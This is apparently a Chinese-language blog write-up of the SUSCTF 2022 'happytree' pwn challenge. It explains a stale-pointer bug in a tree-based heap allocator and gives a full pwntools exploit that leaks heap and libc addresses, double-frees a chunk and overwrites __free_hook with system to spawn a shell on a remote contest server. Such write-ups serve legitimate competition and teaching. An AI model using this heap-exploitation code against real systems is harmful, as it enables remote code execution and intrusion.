SUSCTF 2022 happytree

首先要做的是理解程序的功能
三个功能,add,del和show
每次add,首先会申请一个0x20大小的chunk,用来存放控制信息
结构大概如此:
在这里插入图片描述
申请堆块时的控制堆通过左右孩子指针能够形成一个树型结构
有一个头结点指针存在bss中,然后每次申请会根据size大小来决定其控制堆在树上的位置

本题漏洞在于:
在这里插入图片描述
删除以及添加的时候没有清空控制堆内容,这就使得左右孩子指针会残留,而free的时候并没有对左右孩子指针进行任何检测,libc版本也是2.27,所以可以直接进行double free

大致的做题过程为,泄露libc,构造UAF进行double free,改fd为free_hook,将system写进free_hook,释放一个/bin/sh,就结束了

exp:

from re import L
from pwn import *
from ctypes import *
from string import *
from hashlib import *
from itertools import product
context.log_level = 'debug'
context.arch='amd64'
#io = process('./pwn',aslr=True)
io = remote('124.71.147.225',9999)
libc = ELF('./libc-2.27.so')
elf=ELF("./pwn")
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
def menu(choice):
    sla("cmd> ",str(choice))
def add(size,context):
    menu(1)
    sla("data: ",str(size))
    sa("content: ",context)
def free(size):
    menu(2)
    sla("data: ",str(size))
def show(size):
    menu(3)
    sla("data: ",str(size))
for i in range(0x90,0x99):
    add(i,'a')
for i in range(0x98,0x8f,-1):
    free(i)
add(0x90,'a')
show(0x90)
ru('content: ')
heapbase=u64(io.recv(6).ljust(8,'\x00'))-0x12161
lg('heapbase')
add(0x91,'/bin/sh\x00')
for i in range(0x92,0x98):
    add(i,'a'*8)
add(0x40,'a')
add(0x30,'a')
free(0x40)
show(0x97)
ru('a'*8)
libcbase=u64(io.recv(6).ljust(8,'\x00'))-(0x7f6ab7473ca0-0x7f6ab7088000)
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
lg("libcbase")
#free(0x92)
free(0x96)
add(0x98,'a')
free(0x97)
heap=heapbase+0x11f40
heap=heap&0xffffffff
lg("heap")
free(heap)
add(0x96,p64(free_hook))
add(0x8a,'/bin/sh\x00')
free(0x30)
add(0x89,p64(system))
#gdb.attach(io)
free(0x91)
irt()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值